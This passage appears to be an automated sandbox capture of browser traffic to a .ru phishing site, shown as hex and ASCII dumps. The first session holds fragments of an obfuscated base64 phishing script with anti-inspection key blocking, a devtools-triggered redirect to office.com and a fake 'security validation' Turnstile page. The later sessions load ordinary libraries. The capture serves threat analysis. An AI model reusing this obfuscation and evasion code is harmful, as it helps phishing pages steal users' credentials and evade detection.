Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkN4T1N1bWRlS1N4WWlZeGt3V0cvUnc9PSIsInZhbHVlIjoicEZsQ3ByRzhJQzNqcWNTcVZGeHhJQnFMbVRMMlEwYWZyczFncmJkZG8za2w1c0lvcWFtT3oxaUI0a2NtaE1QWHJGWXU1WmczTHZ4clJFMmtaV1hkSjNaa3ZRd2szK1lTNjFBMjhLNENjN2RxdTg4SzdScHk4Z2ZDYzBpb1FZMlg
2024-12-11 18:22:13 UTC	1369	IN	Data Raw: 34 64 34 35 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 78 51 6c 46 42 4c 6d 78 76 62 57 6c 6b 62 33 4a 6c 4c 6e 4a 31 4c 32 4a 68 55 30 52 56 4e 47 38 76 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 Data Ascii: 4d45<script>if(atob("aHR0cHM6Ly8xQlFBLmxvbWlkb3JlLnJ1L2JhU0RVNG8v") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZX
2024-12-11 18:22:13 UTC	1369	IN	Data Raw: 65 44 73 76 4b 6e 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 79 6f 76 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 63 47 46 6b 5a 47 6c 75 5a 79 31 73 5a 57 5a 30 4f 69 42 32 59 58 49 6f 4c 53 31 69 63 79 31 6e 64 58 52 30 5a 58 49 74 65 43 77 67 4c 6a 63 31 63 6d 56 74 4b 54 74 74 59 58 4a 6e 61 57 34 74 63 6d 6c 6e 61 48 51 36 49 47 46 31 64 47 38 37 62 57 46 79 5a 32 6c 75 4c 57 78 6c 5a 6e 51 36 49 47 46 31 64 47 38 37 66 51 30 4b 49 31 56 35 54 31 56 50 55 31 42 53 54 48 63 67 4c 6e 52 6c 65 48 51 74 59 32 56 75 64 47 56 79 49 48 74 30 5a 58 68 30 4c 57 46 73 61 57 64 75 4f 69 42 6a 5a 57 35 30 5a 58 49 68 61 57 31 77 62 33 4a Data Ascii: eDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI1V5T1VPU1BSTHcgLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1wb3J
2024-12-11 18:22:13 UTC	1369	IN	Data Raw: 51 6f 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 67 31 4b 53 42 38 66 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 7a 61 47 6c 6d 64 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 33 4d 79 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 63 32 68 70 5a 6e 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b Data Ascii: QoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29k
2024-12-11 18:22:13 UTC	1369	IN	Data Raw: 41 67 61 57 59 67 4b 47 68 58 53 56 6c 49 55 57 46 55 61 33 55 67 4c 53 42 51 56 33 52 36 61 6c 4a 48 63 32 39 52 49 44 34 67 55 57 46 6f 63 56 42 7a 63 48 5a 31 62 43 41 6d 4a 69 41 68 63 30 39 6e 52 6d 4e 79 62 32 78 56 62 43 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 51 6b 74 59 56 6b 35 77 51 55 52 74 62 53 41 39 49 48 52 79 64 57 55 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 7a 54 32 64 47 59 33 4a 76 62 46 56 73 49 44 30 67 64 48 4a 31 5a 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 48 64 70 62 6d 52 76 64 79 35 73 62 32 4e 68 64 47 6c 76 62 69 35 79 5a 58 42 73 59 57 4e 6c 4b 43 64 6f 64 48 52 77 63 7a 6f 76 4c 33 64 33 64 79 35 76 5a 6d 5a 70 59 32 55 75 59 32 39 74 4a 79 6b 37 44 51 6f 67 49 Data Ascii: AgaWYgKGhXSVlIUWFUa3UgLSBQV3R6alJHc29RID4gUWFocVBzcHZ1bCAmJiAhc09nRmNyb2xVbCkgew0KICAgICAgICAgICAgQktYVk5wQURtbSA9IHRydWU7DQogICAgICAgICAgICBzT2dGY3JvbFVsID0gdHJ1ZTsNCiAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCdodHRwczovL3d3dy5vZmZpY2UuY29tJyk7DQogI
2024-12-11 18:22:13 UTC	1369	IN	Data Raw: 6c 62 6e 52 6c 63 69 49 67 61 57 51 39 49 6d 78 61 51 58 70 73 51 55 46 58 54 45 73 69 50 67 30 4b 51 32 39 75 5a 48 56 6a 64 47 6c 75 5a 79 42 7a 5a 57 4e 31 63 6d 6c 30 65 53 42 32 59 57 78 70 5a 47 46 30 61 57 39 75 49 47 39 75 49 48 6c 76 64 58 49 67 59 6e 4a 76 64 33 4e 70 62 6d 63 67 63 32 39 6d 64 48 64 68 63 6d 55 75 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 77 76 5a 6d 39 79 62 54 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 43 39 6b 61 58 59 2b 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 78 7a 59 33 4a 70 63 48 51 2b 44 51 70 30 64 58 4a 75 63 33 52 70 62 47 55 75 63 6d 56 75 5a 47 56 79 4b 43 63 6a 59 32 59 6e 4c 43 42 37 44 51 6f 67 49 43 41 67 63 32 6c 30 5a 57 74 6c 65 54 6f 67 4a 7a 42 34 4e 45 46 42 51 55 46 42 51 55 45 78 53 32 64 6b 54 6b Data Ascii: lbnRlciIgaWQ9ImxaQXpsQUFXTEsiPg0KQ29uZHVjdGluZyBzZWN1cml0eSB2YWxpZGF0aW9uIG9uIHlvdXIgYnJvd3Npbmcgc29mdHdhcmUuDQo8L2Rpdj4NCjwvZm9ybT4NCjwvZGl2Pg0KPC9kaXY+DQo8L2Rpdj4NCjxzY3JpcHQ+DQp0dXJuc3RpbGUucmVuZGVyKCcjY2YnLCB7DQogICAgc2l0ZWtleTogJzB4NEFBQUFBQUExS2dkTk
2024-12-11 18:22:13 UTC	1369	IN	Data Raw: 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 79 5a 58 4e 77 62 32 35 7a 5a 53 35 71 63 32 39 75 4b 43 6b 37 44 51 6f 67 49 43 41 67 66 53 6b 75 64 47 68 6c 62 69 68 6b 59 58 52 68 49 44 30 2b 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 61 57 59 6f 5a 47 46 30 59 56 73 6e 63 33 52 68 64 48 56 7a 4a 31 30 67 50 54 30 67 4a 33 4e 31 59 32 4e 6c 63 33 4d 6e 4b 58 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 61 57 59 6f 51 6b 74 59 56 6b 35 77 51 55 52 74 62 53 41 39 50 53 42 6d 59 57 78 7a 5a 53 6c 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 78 76 59 32 46 30 61 57 39 75 4c 6e 4a 6c 62 47 39 68 5a 43 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 39 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 30 4e 43 69 41 67 49 43 41 67 49 43 41 Data Ascii: DQogICAgICAgIHJldHVybiByZXNwb25zZS5qc29uKCk7DQogICAgfSkudGhlbihkYXRhID0+IHsNCiAgICAgICAgaWYoZGF0YVsnc3RhdHVzJ10gPT0gJ3N1Y2Nlc3MnKXsNCiAgICAgICAgaWYoQktYVk5wQURtbSA9PSBmYWxzZSl7DQogICAgICAgIGxvY2F0aW9uLnJlbG9hZCgpOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICA
2024-12-11 18:22:13 UTC	1369	IN	Data Raw: 54 42 44 54 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2e 73 70 6c 69 74 28 27 25 32 33 27 29 5b 30 5d 2e 73 70 6c 69 74 28 27 25 33 46 27 29 5b 30 5d 3b 0d 0a 69 66 20 28 72 43 64 64 49 41 61 78 64 79 2e 70 61 74 68 6e 61 6d 65 2e 65 6e 64 73 57 69 74 68 28 27 2f 27 29 29 20 7b 0d 0a 72 43 64 64 49 41 61 78 64 79 2e 70 61 74 68 6e 61 6d 65 20 3d 20 72 43 64 64 49 41 61 78 64 79 2e 70 61 74 68 6e 61 6d 65 2e 73 6c 69 63 65 28 30 2c 20 2d 31 29 3b 0d 0a 7d 0d 0a 63 6f 6e 73 74 20 48 71 6e 70 74 4e 79 43 65 43 20 3d 20 72 43 64 64 49 41 61 78 64 79 2e 70 61 74 68 6e 61 6d 65 2b 27 2f 27 3b 0d 0a 69 66 28 48 71 6e 70 74 4e 79 43 65 43 20 3d 3d 20 70 78 78 4d 43 72 54 42 44 54 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 Data Ascii: TBDT = window.location.pathname.split('%23')[0].split('%3F')[0];if (rCddIAaxdy.pathname.endsWith('/')) {rCddIAaxdy.pathname = rCddIAaxdy.pathname.slice(0, -1);}const HqnptNyCeC = rCddIAaxdy.pathname+'/';if(HqnptNyCeC == pxxMCrTBDT){document.wr
2024-12-11 18:22:13 UTC	1369	IN	Data Raw: 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 56 58 6c 50 56 55 39 54 55 46 4a 4d 64 79 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 31 56 35 54 31 56 50 55 31 42 53 54 48 63 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4d 7a 46 77 65 44 73 76 4b 6e 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 79 6f 76 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 63 47 46 6b 5a 47 6c 75 5a 79 31 73 5a 57 5a 30 4f 69 42 32 59 Data Ascii: JlbTt9DQp9DQojVXlPVU9TUFJMdyBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI1V5T1VPU1BSTHcuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMzFweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2Y
2024-12-11 18:22:13 UTC	1369	IN	Data Raw: 67 5a 6e 56 75 59 33 52 70 62 32 34 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4d 54 49 7a 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 6d 59 57 78 7a 5a 54 73 4e 43 69 41 67 49 43 42 39 44 51 6f 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 67 31 4b 53 42 38 66 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 Data Ascii: gZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49718	151.101.194.137	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:14 UTC	628	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://18qdy4sm2g.lomidore.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:15 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 11 Dec 2024 18:22:14 GMT Age: 2462866 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740065-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 2 X-Timer: S1733941335.917466,VS0,VE0 Vary: Accept-Encoding
2024-12-11 18:22:15 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-11 18:22:15 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-12-11 18:22:15 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-12-11 18:22:15 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-12-11 18:22:15 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-12-11 18:22:15 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49720	104.18.95.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:14 UTC	654	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://18qdy4sm2g.lomidore.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:15 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 11 Dec 2024 18:22:15 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f9063374b04d/api.js Server: cloudflare CF-RAY: 8f077fbfbadc8cad-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49719	104.17.25.14	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:14 UTC	656	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://18qdy4sm2g.lomidore.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:15 UTC	953	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:15 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 582 Expires: Mon, 01 Dec 2025 18:22:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WHLEalPd1EMyHxvqJ8LFTgkSYDkmHKsz%2FARZkP9aRrJSlgHeL4hjbMAM1Cre4LkUDW7mikZOzU7Ciylr5hoVkWZNYCwzgh0J0bRVb0EvEjmHEE3NcdXJ0Sp2JrwS2xHmV9AMyay%2F"}],"group":"cf-nel","max_age":604800} NEL: 